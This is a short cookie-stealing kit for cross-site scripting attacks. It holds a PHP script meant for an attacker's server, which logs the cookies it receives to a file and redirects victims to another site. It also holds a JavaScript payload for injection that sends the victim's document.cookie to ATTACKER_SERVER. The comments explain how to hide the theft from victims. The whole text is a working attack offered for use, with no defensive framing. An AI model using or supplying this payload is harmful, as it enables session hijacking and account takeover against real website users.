// Upload/Save this file on ATTACKER_SERVER cookiestealer.php //
// change this google.com to same website, which you are attacking, so that Victim can't detect. //
// you can find cookie into same directory where you put this file, name log.txt //


<?php
header ('Location:https://google.com');

$cookies = $_GET["c"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . "\n\n");
?>


// Payload to inject into XSS //
// replace ATTACKER_SERVER by real URL or IP //

<script type="text/javascript">
document.location='http://ATTACKER_SERVER/cookiestealer.php?c='+document.cookie;
</script>